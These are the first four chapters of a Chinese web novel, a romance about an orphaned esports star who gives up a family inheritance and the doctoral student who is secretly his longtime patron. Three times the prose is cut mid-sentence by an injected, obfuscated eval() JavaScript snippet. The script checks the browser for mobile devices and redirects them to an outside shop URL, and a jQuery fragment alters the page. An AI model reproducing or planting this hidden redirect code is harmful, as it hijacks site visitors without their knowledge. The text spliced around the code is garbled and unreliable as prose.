《真少爷他撩人不成反被钓》 1. 初见 “……以上就是该协议的全部内容，鹿先生要是没有疑问的话，请签字吧。” 咖啡厅里，鹿溪午随意翻了翻自己面前的协议，思绪不由得有些飘忽—— 作为孤儿院长大的孩子，鹿溪午也没想到这种戏剧性的事情会发生在自己身上。 交换人生，真假少爷，豪门恩怨…… 当初孤儿院把他的信息交给寻亲公益组织，鹿溪午根本没放在心上，也没想过会找到自己的亲生家庭。 而林氏集团也没有想过会突然冒出一个具有继承权的鹿溪午。 这就造成了一个极为尴尬的局面：按照鹿溪午亲爷爷的遗嘱，鹿溪午作为林家孙辈，是有林氏股份的。 然而这一年正值林氏集团在美国上市的关键时期，作为掌权人的林沂天，也就是鹿溪午的便宜父亲，一来不想承认这个“不务正业”的儿子；二来不想上市期间有任何的波折，于是想出了这么个办法—— 让鹿溪午签署自愿放弃林氏股份的协议。 对于林氏的股份，鹿溪午完全没有想法，他甚至都不知道有这么一个遗嘱。 林沂天的态度才是刺痛鹿溪午的关键。 “林氏的股份现在不可能再重新划分，等纽约那边顺利上市再说。” “不过我建议你自愿放弃股份，我们会给你补偿的。三百万？” “工作？打游戏也叫工作？” “行了，别扯什么电竞了，过两天我让律师拿放弃股权协议来找你。” …… “鹿先生？鹿先生？您还有问题吗？” 听到律师的声音，鹿溪午才如梦初醒，若说之前他还对自己的亲生父母抱有幻想的话，那现在他已经毫无波澜。 家人这个词缺失了鹿溪午的人生整整二十年，至于今后的生活中有与没有，对他而言，其实没有多大的区别。 那双与已故的林夫人极为相似的浅咖色眼眸，此刻显得格外漠然和冷峭。 律师是给林氏服务的老人了，见到鹿溪午的第一眼，他就确认出了鹿溪午的身份，这双眼睛真是……太像了。 对于鹿溪午的冷漠和黯淡，他也只是微微一叹。 “没有了。”鹿溪午利落地在协议最后签上了自己的名字。 律师看着鹿溪午爽快的动作，心中也松了一口气，“林总说，他答应给你的三百万，之后会以……” “不用了。” “嗯？”律师一时没明白鹿溪午的意思 “您是说？” “我不需要那三百万，我有工作。” 鹿溪午淡然一笑，整个五官像是活了起来，姣好的眉眼间露出些属于少年人的清湛明澈。 律师急忙解释：“我想您误会了，林总的意思是补偿您放弃股权的……” “不用了，你把协议拿走吧。”鹿溪午把桌上的协议推到律师面前，动作坚定且不容拒绝。 “还要麻烦你转告林总：我明白他的意思，之后我跟林氏就桥归桥，路归路吧。” “鹿先生——”听见这话，律师的眼皮一跳。 以林沂天的性格，若是听见这句话，指不定怎么生气，之后这小伙子的日子怕是不好过。 他想拉这个孩子一把。 律师打定主意还要再劝，“林总不是这个意思……” 可鹿溪午却不愿再纠缠，“我还有事，先走了” 他推开咖啡厅的门，头也不回地走了。 其实鹿溪午的这句话并不是托辞，他确实有一件重要的事情。 上次没来得及告诉林沂天，不过现在看来，也没有这个必要，鹿溪午漠然地想。 “去C大——是几号线来着？” . 地铁站。 “让我们恭喜TD战队，成功卫冕《异界之颠》的冠军！” “——deer！这个ID又一次创造了奇迹！” 解说沙哑又激动的吼声回响在整个地铁站。 正中央的大屏上正循环播放着《异界之颠》夏季总决赛，引得不少年轻人驻足观看。 “不愧是我D神，太帅了！” “这夺冠都一周了吧，热度还这么高，啧啧啧……” “妈呀，好想看看D神长啥样……为啥他要带口罩……” 鹿溪午刚走进地铁就听见周围火热的议论声，令他心虚地往下拉了拉帽檐。 嗡嗡—— 包里震动的手机夺去了鹿溪午的注意力，他随手摸出手机，按下接听键。 “喂？老徐？怎么想起给我打电话了？” “你签字了？” 听到这个问题，鹿溪午戏谑的神情一变，继而叹了口气，“我说徐大教练，你怎么老关心队员的私事呢……” “我不关心谁关心？”手机另一端的徐泽冷哼一声，“我还能眼睁睁看着那帮孙子把你欺负了去？” 鹿溪午心中一暖，面色也变得轻松起来。 “行了老徐。”他满不在乎道：“股份又不是什么帅哥，我要来做什么？” 徐泽恨铁不成钢，“你傻啊，你可以用来包.养小帅哥啊。” “难道我现在不能包.养小帅哥吗？”鹿溪午眉毛微挑。 徐泽顿了顿，显然是想到了鹿溪午最近的天价代言费，深觉以这小子的性格，说不准还真有什么小帅哥。 “那啥——你不会真的有吧？我可告诉你啊，在宣布你退役的消息之前，你可不要给我上个什么社会新闻啊，咱们战队对外可一直都是冰清玉洁的形象嗷……” 成功把徐泽带偏的鹿溪午，一边听着唠叨，一边闷头随着人群走动。 “行了，我这赶着去办复学呢，挂了啊。” 还没等鹿溪午放下手机，他便迎头撞上了什么人。 鸭舌帽被瞬间撞翻，鹿溪午满脑子却只有一个想法—— 我去，好结实的胸肌。 “抱歉，你没事吧？” 鹿溪午闻声抬头，一张放大的俊颜清晰地印在他的瞳孔。 面部轮廓流畅清晰，眉眼清冽冷峭，高挺的鼻梁上架着一副银框眼镜，中和了五官的锋利感，反而透出一股优雅禁.欲的气质。 鹿溪午舔了舔下唇，眼神里一闪而过的飘忽：这人也太特么好看了吧！ “嗯？没事吧？” 低沉的声音瞬间唤醒了鹿溪午的神智，“啊……没事，不好意思啊，我没看路。” “没关系，其实我也没注意。”贺存眼眸中蕴起一丝笑意，他弯腰捡起鹿溪午的鸭舌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590778|143210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帽，拍了拍上面的灰尘。 “给，帽子。” 鹿溪午低头，视线却落在贺存捏住帽子的三根手指上，唇边掠起一丝狡黠的弧度，“谢谢。” 不经意的指尖微微蹭过贺存的手心，鹿溪午满意地收回手，开口道： “你要去C大吗？我也去，可以帮你。” “是啊。”贺存若无其事地虚握了握手掌，似是没发现鹿溪午的小动作，无奈地看了眼在自己脚边——半人高的两摞资料，疑惑道：“你怎么知道我要去C大？” “我看你资料封面印着C大的校徽呢。”鹿溪午带好帽子，清透灵动的双眸被帽檐的阴影遮住。 这时，正好广播响起地铁进站的声音。 鹿溪午拎起一摞资料，看向贺存询问：“走吗？就当是我刚才撞到你的赔罪啦。” 贺存微一点头，眸中的笑意更甚，“走吧。” 上了地铁，鹿溪午特意挑了两个挨在一起的位置坐下，“刚才还没来得及自我介绍，我叫鹿溪午，C大经济学院大一。” “好巧。”贺存推了推眼镜，流露出一丝讶异，“我也是C大经济学院，贺存。” “真的好巧。”鹿溪午眉眼带笑，浅咖色的眼睛里盛满了鲜活，语调清脆地唤道：“——学长好。” . C大经济学院崇德楼。 贺存跟依依不舍的鹿溪午告别，看着鹿溪午蹦蹦跳跳的背影越走越远，才慢悠悠地收回目光。 两摞资料任旧堆在贺存的脚边，只见他两只手轻松拎起那两摞半人高的资料，动作不见丝毫拖沓。 一口气上了三楼，贺存才走进资料室放下，又拿出纸巾擦掉手上的灰尘。 做完这些，贺存才打开在口袋里响了一路的手机，先是通过了鹿溪午的好友申请，然后再点开另外一个带有小红点的对话框。 谢嘉：[存哥存哥，你人呢？] 谢嘉：[我买个冰淇淋的工夫，你人就不见了？] 谢嘉：[十分钟了，你倒是回我消息啊！] 谢嘉：[你不会被拐卖了吧？不对，你不拐卖别人就不错了。你去哪儿了？回个话呗～] 谢嘉：[半个小时了！贺存你个缺德玩意儿，你死哪儿去了！！！] 贺存推了推眼镜，难得升起一点愧疚之心，慢条斯理地回： H：[有事先走了，下次请你吃饭。] 对面的人回得飞快，[你能有什么事？什么事能让你抛弃我？你个狗der！] H：[地点随你挑。] 谢嘉：[好的爸爸，没问题爸爸，小的就先退下了！] 贺存果断退出聊天界面，这时恰逢鹿溪午发来的一条消息： 675：[谢谢学长，我找到教务处啦。] 贺存深邃的眸中荡开一丝笑意，指尖微动，回了一句： H：[不客气，需要帮忙就跟我说。] 675：[好的学长！] 贺存想起刚才鹿溪午雀跃离开的身影，不知道为什么联想起自己曾经在国外救助的一只小白尾鹿，眼神是同样的清澈明亮，好似春日盈盈的湖面。 贺存摸摸下巴，手指微动，给鹿溪午的备注设置成—— 斑比。 2. 直播 从C大回到俱乐部，已经是晚上六点多了。 队员都放假回家了，除了清洁阿姨还在加班之外，整个俱乐部显得空荡荡的没有人气。 鹿溪午哼着小调在偌大的别墅里游荡，做饭的阿姨也放假回家了，整个别墅里没有一点现成能吃的食物。 不想点外卖，要不煮面条吃吧。 他说干就干，厨房里叮铃咣啷地声音成功把跟他一样在俱乐部的人给惊动了。 徐泽踩着人字拖，啪叽啪叽地走过来一眼就看见了鹿溪午的清汤挂面，面色顿时一喜：“正好饿了，分一半，分一半。” 说罢便强行分了鹿溪午一半的面条。 “你没吃晚饭？” “看比赛忘了。”徐泽唏哩呼噜地嗦着面条，含含糊糊地提醒鹿溪午，“今天直播平台给我打电话了，你记得这个月把直播时长补满。” “知道了，等会儿去。” 徐泽吃得狼吞虎咽，跟平时在赛场上西装革履的模样相去甚远，“对了，宣传妹子说已经把你的退役公告准备好了，你得空的时候看看。” 说到这个话题，徐泽难免唏嘘：“你说打两年职业，结果就真的只打两年……不过也可以理解，我要是考上了C大，我也得回去上学，难怪当初我怎么加价你也只签两年。” “你什么时候加价了？我怎么不记得？——那是因为学校最多只能休学两年，再多，我的毕业证就拿不到了。” 鹿溪午叹了口气，继而振作起来，“没事，待我学成归来，还在咱们TD战队发光发热。” “待你学成归来，打比赛怕是不行了。”徐泽上下打量着鹿溪午，促狭一笑，“要不你来给我当个助理？” “做人不要太贪心。”鹿溪午毫无感情地假笑一声，“当不当助理我不知道，我只知道现在该你洗碗。” “诶诶诶？你小心点别撞到清洁阿姨了！” 徐泽眼睁睁看着鹿溪午跨上二楼，灵活地绕过清洁阿姨，迅速钻进训练室里，“你小子就不能尊老爱幼点吗？” 鹿溪午全当作没听见，照常带上耳机，打开直播间。 一瞬间，直播间的人数就跳到了10万+ 屏幕上瞬间滚动着五颜六色的弹幕。 【D神晚好～】 【死鬼，你终于想起密码了吗！】 【恭喜D神再次夺冠，撒花撒花】 【日常求露脸啊啊啊啊！】 鹿溪午习以为常，随便回答着弹幕的问题。 “终于直播了，啊对对对，补时长嘛。” “比赛为什么一直戴口罩？这个问题我解释过了，经理让戴的，为了话题度拉投资嘛。” “夺冠好帅？谢谢，我也觉得。” “干脆面老板来不来？那我得问一问。” 鹿溪午一边跟弹幕侃大山，一边点开微.信，找到置顶聊天，是一个备注为“大佬”的小浣熊头像。 [大佬，今天双排不？] 鹿溪午其实是游戏主播出身。 刚高考完的暑假，鹿溪午为了给自己凑学费，抱着试一试的心态成为了一名《异界之颠》的游戏主播。 他脑子好使，手速又快，加上天赋也高，很快便成为了一名技术型主播。 然而三年前的主播行业正值新人大批涌入，竞争很大，鹿溪午播了很久才有了第一个观众——就是这个带着小浣熊头像的ID。 这个观众一连给他砸了不知道多少个火箭，帮鹿溪午刷上平台礼物榜一。 尚还年轻鹿溪午战战兢兢地通过后台联系上了这个“小浣熊”。 deer：[大佬，你点错了吗？] 干脆面：[没有，只是想请你帮一个忙。] 鹿溪午看着后台的礼物价格，只觉得头皮发麻。 deer：[那您要我做什么？上分还是陪玩？我都可以。] 干脆面：[教我打打中路法刺。] 看来是一个好学的大佬。 鹿溪午挠挠下巴，麻溜地在直播间点开了竞技场教学，开始线上授课。 “首先我们来看中路……” 为了对得起大佬的火箭，鹿溪午几乎把全部的时间都投入到中路法刺的研究上了。 作为考上C大的学霸，鹿溪午的逻辑清晰，讲话又有条理，他的法刺小课堂渐渐地除了“小浣熊”大佬，也吸引了一小撮粉丝。 后来，鹿溪午带着大佬从青铜一路直上，还一度成功成为国服第一。 也正是因为鹿溪午的法刺课堂，让他成功被当时正在筹建战队的徐泽发掘，成为了TD战队的中单。 即便是后来鹿溪午出道即夺冠，成为明星选手，粉丝上千万，他也跟这位大佬保持着联系，常常跟这位大佬双排。 甚至两人还有了一小撮cp粉，天天蹲在直播间里磕cp。 但今天显然是大佬正在忙，一直没有回鹿溪午的消息。 “今天先单排吧，干脆面老板估计在忙呢。” 直播间里新粉不少，不少人在弹幕上问： 【干脆面老板是谁啊？】 【D神不是从来不跟粉丝双排嘛？】 “干脆面老板是谁？你拉开直播间礼物榜，那个最顶上的就是他。” 直播间也有老粉出来科普： 【D神的大老板啦，永远的榜一】 【我去，整整比第二的打赏多出一位数诶】 【有钱人的世界，看不懂看不懂】 对于干脆面大佬的财大气粗，鹿溪午显然已经十分习惯。 【干脆面老板是不是对第一有执念？】 鹿溪午瞥了一眼弹幕，轻笑一声，“这个问题我也问过，老板说，他不喜欢被人压着。” . 贺存按导师的要求做完文献整理，摘下眼镜放在桌上，抬手揉了揉太阳穴。 电脑屏幕的微光照在贺存脸上，在高挺的鼻梁边投射下一小片阴影，眉梢间流露出些许疲惫。 叮咚—— 是他许久没用的微.信的提示音。 学校里为了更好地收发电子资料，学生老师基本用的聊天软件都是企鹅。 贺存的微.信里除了他在国外上学时的朋友，就只有一个人会在这个时候给他发消息—— deer：[大佬，今天双排不？] 其实今天看见鹿溪午的第一眼，贺存就认出了他的声音。 三年前，贺存还在英国留学时，曾遇到过一个极端民族主义的同学。 那时的贺存还远不如现在这么不动声色，被三言两语激得热血上头，便答应了对方的游戏决斗邀请。 《异界之巅》作为世界范围内都流行的游戏，自然是首选。 贺存为了打败那个出言不逊的家伙，在直播平台上找到了技术厉害却毫无人气的小主播deer。 得益于deer悉心地教导，贺存学得很快，并成功在之后的约战中狠狠地教训了前同学。 后来deer被发掘去打职业，贺存也一直跟他保持着联系，礼物榜第一都一直是他，甚至在得空的时候，贺存还会把deer的击杀瞬间剪辑成视频，可以说是一个很全能的粉丝了。 而今天意外见到这个deer真人，贺存也颇感意外，不由得感慨这名字起得的确不错，像是一只蹦跶撒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590779|143210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢的漂亮小鹿。 不过遗憾的是——看起来自己倒是没有被认出来。 贺存没有回复鹿溪午的信息，反而登陆了自己的平台账号，进入了鹿溪午的直播间。 作为礼物榜一，贺存金光闪闪的进入特效瞬间照亮了整个屏幕，恰好跟鹿溪午的话语相重合—— “……他不喜欢被人压着。” 弹幕顿时笑开了，满屏都是—— 【deer，你尴尬吗？】 【哈哈哈哈哈，这是什么大型社死现场】 【抓包了抓包了】 鹿溪午不自在地清了清嗓子，若无其事地又重新问了一遍，“大佬，今天还来双排不？” 贺存轻笑一声，手上打字的速度不减。 [不了，跟你双排压力太大，毕竟我不喜欢被人压着。] 鹿溪午：…… 大佬什么时候这么记仇了？！以前他口嗨的时候也没见大佬说什么啊！ 鹿溪午正准备给自己找个台阶下，一旁的手机就开始震动。 一看来电显示，鹿溪午的脸色顿时沉了下去。 “不好意思啊各位观众，等我去接个电话，等会儿多播一点补偿你们。” 鹿溪午说完就关了麦克风，起身走到训练室的落地窗前，摁下接听键—— “林总。” “听说你拒绝了补偿费？为什么？”林沂天声音透过听筒传来，显得更加冷淡高傲。 “律师没转告您吗？我不需要。” 林沂天显然对鹿溪午的拒绝不高兴，但顾及到对方是跟他是有血缘的儿子，便耐下性子再次说道：“我们林氏从不占人便宜，你拿着。” 鹿溪午目露讥诮，“林总，本来我没打算找什么亲人，只不过是孤儿院要按流程上报DNA信息而已，按规定，我们的亲缘关系寻亲组织是不会透露的，您大可放心。” 林沂天的怒气一下子就被鹿溪午的这句话点燃了，“鹿溪午，你什么意思？你以为……” “林总！”鹿溪午打断了林沂天的话，“要是我在您眼里不是一个‘玩游戏的无业游民’，而是C大的学生，您还会是这个态度吗？” “C大？”林沂天下意识愣了一会儿，旋即冷嗤道：“小奚从小在我身边长大，是凭自己的本事考上的C大，你跟他有什么可比的？” 鹿溪午失望地别开眼，“行了，我不需要您的补偿费，本来我也没损失什么，还是那句话，以后我们桥归桥，路归路吧。” “诶你——” 挂断，拉黑，删除，一气呵成。 鹿溪午深吸口气，收拾好情绪才回到电脑前，打开麦克风。 “哈喽哈喽，我回来啦。久等各位，今天播到凌晨好了。” “国际服单排吧，正好上上分。” …… 贺存习惯性地刷了几个火箭，就挂在直播间没管，等到他做完文献整理最后的收尾工作时，鹿溪午才姗姗来迟。 贺存随意看了几眼鹿溪午的操作，却立马顿住了。 锋芒毕露又杀机勃勃的操作，是deer从不在排位中流露出的气势。 这是怎么了？怎么接了个电话就……气成这样了？ 一局结束，鹿溪午顶着10/0/5的战绩迅速点开了下一局准备。 贺存眉梢微挑，又重新戴上了眼镜，登陆进游戏给鹿溪午发了个双排邀请。 “大佬？你又打算双排了？” 鹿溪午下意识点了接受，跟贺存排进同一局游戏。 贺存在游戏里打字回应，[最近国际服的排名下来了，我不喜欢屈居人下，跟我打个国际服第一去] 3. 巧遇 贺存并不知道刚才鹿溪午究竟发生了什么事，但他知道，现在的鹿溪午应该很需要发泄。 大佬：[我拿辅助跟你。你继续拿中单。] 鹿溪午愣了愣，辅助不怎么好上分吧？ 还没等鹿溪午问出口，就见到贺存果断锁了一个辅助英雄。 “……好吧。” 鹿溪午冠军的实力绝对没有半分水分。 哪怕到国际服的巅峰段位，鹿溪午也能敏锐地抓住一闪而过的机会，从而为己方队员撕开一个突破口。 贺存的保驾护航更是助长了鹿溪午嚣张的气焰，让他顶着红蓝两个buff打穿了敌方的中路。 “再来。” 一局。 两局。 …… 十一局。 整整十一局，从晚上九点打到第二天四点。 鹿溪午已经很久没有打得这么酣畅淋漓过了。 虽说已经熬了一晚上，但鹿溪午的直播间人气也丝毫没有下降，反而有越来越火热的趋势。 【D神好凶，同情对面】 【谁还记得最初是干脆面老板要国际服第一来着？】 【老板：deer退钱】 鹿溪午看了眼自己小号的国际服排名，“排行榜第一”的小牌子就挂在ID的后面。 鹿溪午心虚地干笑一声，火速下播，“今天的直播就到这里，各位拜拜。” 675：[不好意思大佬，抢了第一，打着打着就上头了。] 大佬：[没事，不重要。] 鹿溪午瞟了一眼时间，回道：[现在大佬那边是晚上了吧？] 大佬：[我回国了。] 鹿溪午惊讶地瞪大眼睛，啪啪地打字：[你从英国回来了？] 大佬：[是，才回国没多久。] 鹿溪午看着聊天记录，心想着要不要约大佬见个面？ 不过像干脆面老板这样事业有成的人，应该会很忙吧？会答应自己这个小主播的面基吗？ 其实在早些时候，这位干脆面老板总是能给鹿溪午一些中肯的建议。 对他来说，干脆面老板不仅是老板，还是亦师亦友的存在。 没等鹿溪午想个所以然来，那边紧接着弹出消息： 大佬：[不管发生了什么事情，都不要为难自己才是呢] 大佬：[快去睡觉吧，都熬了一夜了] 鹿溪午无奈一笑，还是被大佬看出来了。 675：[好的，大佬也快去睡吧] 鹿溪午暂时放下面基的念头，收了手机转身上楼睡觉了。 C大。 谢嘉叼着半块三明治，一手拿书，一手拧开数据室的大门，被里面的人影吓了一跳。 “我擦！存哥？你搁这儿扮鬼呐？” 贺存放下手机，揉了揉脖子，打了一晚上的游戏，颈椎都快僵了。 “你不会在这儿待了一晚上吧？”谢嘉一脸不可置信，他几步蹿到贺存身边，“不是吧？你什么时候退化到整理个数据都要整理一夜了？” “临时有事，借用了一下数据室的电脑。”贺存的声音是熬了一夜过后的沙哑，“你怎么来的这么早？” 谢嘉啧啧两声，“我来跑数据嘛。” 贺存嗯了一声，站起身来，“电脑桌面上，自己找。” 谢嘉一屁股坐在刚才贺存的位置上，把最后一口三明治送进嘴里，含含糊糊道：“对了，后天学术厅有个宣讲会，我得去一趟，存哥帮我盯一下项目呗。” “什么宣讲会要你亲自去？” “就是每学期给大一新生下马威的那个宣讲会。”谢嘉伸出一根手指指了指头顶，“落咱头上了。” “不过主讲是大师兄，我只是去记录而已。” 大一？做记录？ 贺存的眸光闪了闪，“我替你去吧。” “嗯？”谢嘉疑惑回头，“我没听错吧？你的paper写完了？” “……听听其他的换换脑子。” “行！”谢嘉虽然不理解这种宣讲会对贺存的论文有什么启发，但他生怕贺存反悔，“说定了啊，你去！” . 两天后。 学术厅人声鼎沸，门口挤满了提着行李箱的经济学院新生们，人群攒动着，抱怨声不绝于耳。 “哎呀，你撞到我了。” “不好意思，借过借过。” “诶？行李可以放外面吗？” 其中，鹿溪午一个人轻装上阵，只揣了一个笔记本，在人群中格外突出。 鹿溪午休学两年，复学后只能跟着这一届的大一学习。 前天他才被教务处的老师拉进学院大一新生群，紧接着就被通知要来参加宣讲会。 虽然他很少在公众面前露脸，但C大关注异界之颠夏季赛的人不在少数，为了避免不必要的麻烦，鹿溪午只好带上鸭舌帽，减小自己的存在感。 一进会场，这个犹如小型音乐厅的装修风格就给鹿溪午留下了深刻的印象。 他环顾四周，正准备找一个角落入座，却意外发现一个熟悉的身影。 鹿溪午轻快落座，引得旁边的人下意识抬头，两人对视—— “学长？” 鹿溪午惊喜地叫了一声，“你也要来听这个吗？” 贺存嘴角噙着一丝笑意，扬了扬手里的笔记本，“我来做会议记录。” 鹿溪午似懂非懂地哦了一声。 “咱们学院的惯例了，算是给新生一个下马威吧，学金融哪那么容易。” 鹿溪午像是被唬住了一样，戚戚然地点点头。 “不过——”贺存拉长语调，话锋一转，“我倒觉得你有天赋。” “啊？” 贺存指了指鹿溪午手里的笔记本，赞赏道：“你看看今天来会场的所有人，有几个想到要记笔记的？” 作为孤儿院长大的孩子，鹿溪午只是习惯性的对所有的学习机会异常珍惜而已。 “其实是其他人带着行李箱，不方便而已。”鹿溪午突然有点不好意思。 贺存摇了摇头，沉稳的声音透露出一丝笃定，“这就是我们的院训——学无定所，无处不学。” 贺存的声音恰好和麦克风里老师的声音相重合。 会场里，本来还怨声载道的人群都低下了头。 “别人的夸赞，你要坦然接受才是呢。”贺存偏过头，注视着鹿溪午姣好的侧颜，眼眸深邃静谧，调子轻缓舒适。 鹿溪午有一瞬间的恍惚，总觉得这样的语气……自己是不是听过？ 宣讲会持续了一个小时才结束。 鹿溪午情况特殊，不用跟新生一起报到，便跟贺存一起从会场后门溜了出来。 “刚才的宣讲会上的推荐图书，你有吗？”贺存看向鹿溪午。 “我没有——但可以借，对吧？学校图书馆怎么走来着？”鹿溪午一下子就兴奋了，眼珠滴溜溜转着： 图书馆离这里还有好长一段路来着…… “这些书可都是图书馆的抢手货。”贺存眉毛微挑，“新生报到来得最晚，这些书，早就被大二借走了。” 鹿溪午瞬间被泼了一盆冷水，兴奋劲瞬间败了个精光，“哦……” 贺存听着鹿溪午的语气，忍不住轻笑一声：真像一只淋了雨的小斑比。 “不过——”贺存坏心眼儿地停顿了一会儿，引得鹿溪午好奇地目光向他投来，“我，可以借你。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590780|143210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “真的？” “当然。” 鹿溪午狡黠一笑，眨巴眨巴眼睛：“要不学长把你的寝室号告诉我吧？我来找你拿？” 推荐书单上一共十四本书，借一本见一面，还能跟学长见十四次…… “我不住学校。” 鹿溪午：？ 贺存摊摊手：“毕竟学校不提供博士生宿舍来着。” 鹿溪午：？？？博士生！ 他之前还以为贺存是大三大四的学长来着，结果人家是博士生的吗？！ “但那些书我现在都不常用的，我得回去找找。”贺存回头征询鹿溪午的意见，“过两天我再给你？” “啊……好。”鹿溪午恍惚地向前走着。 怎么自己随便在地铁站遇到的人就是博士生啊！C大的学霸浓度这么高的嘛？！ 此时，离两人不远的地方，一个面庞清俊的青年正紧紧注视着鹿溪午的脸。 尤其是鹿溪午那双浅咖色的眼睛，跟已故的林夫人一模一样的眼睛。 “林奚？你怎么了？” “没事。”林奚摇摇头，眼角的余光仍放在越走越远的鹿溪午身上。 那是……鹿溪午吗？他……为什么在C大？ 林奚脑海里闪过惊骇与疑惑，面上不露分毫。 “我记得，上次你提过，我们班是谁在教务处勤工俭学来着？”林奚不着痕迹地收回目光。 “就是那个长得还行的魏薇啊，你找她？” 林奚笑起来，深灰色的眼眸里却没有一丝温度，“我有点事想问问她，你有她联系方式吗？” “有啊，我发给你。” “小奚——” 熟悉的声音从身后传来，林奚惊喜地回头：“大哥！” “回头发我啊，我先走了！” 林奚匆匆告别同学，欣喜地迎上前去，“大哥什么时候回来的？” 林修一身西装，一看就是刚从飞机上下来，他亲昵地揉揉林奚的头顶，“今早的飞机。” “那……” “放心吧，谈妥了。” 像是知道林奚要问什么一样，林修抢先开口，“张青婉已经答应跟元嘉签约，做你的经纪人，只带你一个人。” 张青婉，娱乐圈的头部经纪人，带出来的艺人遍布影视歌三坛，是林奚指定的经纪人。 虽说张青婉跟林氏的元嘉娱乐没有合作，但只要是林奚开口，林修就是天上的月亮也能给林奚摘下来。 “真的？”听见这个消息，林奚惊喜地瞪大眼睛，“谢谢大哥！” “不要掉以轻心，张青婉那边有条件，”林修却是伸手戳了戳林奚的额头，“这次比赛，你必须是第一名。” “放心吧哥，我可是C大声乐系专业第一呢。” 林奚从小学习声乐，最大的梦想就是站在舞台上唱歌。 他现在正参加着热度极高的一个选秀比赛，从竞争极大的声乐赛道脱颖而出，以第一名的人气进入决赛。 由于决赛的场地需要搭建，举办方便直接放了这些选手一周的假期。 林奚刚好趁着假期，回来学校报名，顺便请假。 “对了，我决赛那天，大哥会来吗？” 林奚期待地看向林修，瞳孔中清晰地倒映出林修的模样—— 面部轮廓分明，眉毛修长浓郁，鼻梁高挺，薄唇轻抿而显冷漠威严，但那双如同琥珀一般的眼珠却中和了面部的沉肃，显出几分活力来。 跟鹿溪午一样的眼睛……林奚暗自掐起掌心，心里不由得烦躁起来。 “当然，我会把那天下午的行程空出来的。”林修没有发现林奚的不对，“是9月16号对吧？正好那天也是你的生日。” 4. 见面 鹿溪午跟贺存分别后，接到了俱乐部宣传妹子的电话。 “D神，你的退役公告我们准备9月16日发出，这个时间你看可以吗？” “可以，到时候我会配合的。” 鹿溪午在这些事情上向来很好说话。 头顶的阳光正是一天中最热辣的时候，鹿溪午挂了通话，一头钻进街边的奶茶店。 “你好，我们公司今天团建，需要的东西有点多……” 正在买东西的是个附近公司的白领，语速极快地点了一大堆东西，像是一挺突突开火的机关枪。 不巧的是，奶茶店的收银机正好故障，店员小姐姐面露难色，“您能不能说慢点？” 白领只好把话又重复了一遍，“……算出来了吗？” 店员小姐姐结结巴巴：“一共是……是……” 鹿溪午看不过去，瞄了一眼墙上的价目表，脱口而出： “691” “691” 两人的声音完美重合，鹿溪午下意识地向另一道声音的来源看去—— 两双极为相似的浅咖色眼眸对视一眼，皆涌出一丝惊讶的神色。 是林修。 可惜鹿溪午并不认识林修，他只是惊讶：这人的眼睛跟自己好像。 林修倒是在讶异之余，心中涌出几分赞赏，从小到大，他很少能碰见对数字这样敏感的人，跟自己很相似。 这时的店员小姐姐终于算清楚价格，“对，是691，谢谢两位先生。” 林修毫不在意地摆摆手，这对他来说这连个计算都不是，他看着鹿溪午温和道： “你喝什么？我请你？” 鹿溪午潜意识里不想跟面前这人纠缠，“不用了，谢谢。” 被拒绝的林修也不恼，只是遗憾地点点头，拿起自己的饮品转身走了。 坐上车，林修撕开吸管，喝了口冰凉的葡萄汁，转而看向司机，“回公司。” 宽敞的车后座上，林修还在处理着公司文件，近几天在元嘉耽搁了许久，公司堆积了许多的事情等着他处理。 电话铃声突兀地响起，林修看了眼来电显示，戴上了蓝牙耳机。 “爸。” “什么时候回来的？” “今天早上，怎么了？” “去见过小奚了？” “见过了，这次出差本来就是为了小奚的事情。” 林修不明所以，林沂天一向不是个爱聊家常的性子，怎么今天倒问候起他们兄弟俩来了？ “有个事情，我还没跟你和小奚说……” 林沂天沉默着，像是在斟酌。 “爸？”林修不解，“您怎么了？” “你的……亲弟弟找到了。” “您说什么？！” . “林……林奚，这届新生真的没有姓鹿的。”魏薇偷偷摸摸地坐在教务处学籍科的电脑前，低声打着电话。 “没有？你仔细找了吗？”林奚几不可察地松口气，整个肩线都放松下来。 “鹿这个姓太少见了，我们学校所有系的新生我都看了，没有。”魏薇紧张地咬住下唇，手心都冒出了冷汗。 她一旦被发现私自打开学籍科的电脑，绝对会被记处分的！ 林奚听着女生颤抖的声音，心中嫌弃却不好出口，“你不要害怕，你在教务处勤工俭学这么久，不是早就摸清老师们的作息了吗？” “你再帮我看看，最近这几届的学生，有没有姓鹿的。” “……”手机那头传来良久的沉默。 林奚在心中低咒一身，不得不敛下语气，“我答应给你的签名照不会赖账，你不是喜欢周天王吗？一张亲签专辑，怎么样？” “……历年的学籍档案加密了，我不知道密码。”魏薇低声解释。 “你——” 林奚差点没控制住脾气，忍了又忍。 